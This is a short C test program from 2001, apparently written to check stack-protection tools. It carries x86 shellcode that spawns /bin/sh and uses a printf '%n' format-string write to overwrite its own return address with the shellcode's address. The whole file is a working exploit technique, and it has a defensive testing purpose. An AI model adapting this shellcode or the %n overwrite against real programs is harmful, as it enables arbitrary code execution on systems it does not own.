/*
 * $Name: release2_0-16 $
 * $Id: canary-exploit.c,v 1.4 2001/06/19 18:22:15 ttsai Exp $
 */


#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void foo(caddr_t ra)
{
    caddr_t *ra_ptr;
    FILE *fp;
    caddr_t *nextfp;

    printf("This program tries to use printf(\"%%n\") to overwrite the\n");
    printf("return address on the stack.\n");
    printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
    printf("Press any key to continue...");
    getchar();

    nextfp = __builtin_frame_address(1);

    /*
     * Find the location of the return address on the stack.
     */
    for (ra_ptr=__builtin_frame_address(0)+4; *ra_ptr!=ra; ra_ptr++) {
	 if (ra_ptr >= nextfp) {
	     printf("Unable to find the return address on the stack!\n");
	     exit(1);
	 }
    }

    /*
     * Overwrite the return address with the starting address to the attack
     * code.  We need to redirect the output to /dev/null, since we're not
     * really interested in the output of fprintf, just the value written via
     * the %n conversion.
     */
    fp = fopen("/dev/null", "w");
    fprintf(fp, "%.*d%n\n", (int)shellcode, 0, (int *)ra_ptr);
    fclose(fp);
}

int main(int ac, char *av[])
{
    /*
     * main() is written mostly in assembly to avoid the differences due to
     * different compilers and compiler optimizations.  The following
     * instructions push the return address from foo() onto the stack and then
     * call foo().  We have to explicitly pass the return address to foo(),
     * because foo() needs to search for the location of the return address on
     * the stack.  This search is necessary because some compilers may not
     * place the return address immediately before the frame pointer, which
     * causes __builtin_return_address(0) to fail.
     */
    __asm__ __volatile__(
	"push	$0f;"
	"call	foo;"
	"0:	add $4,%%esp"
	:
	:
    );

    return 0;
}
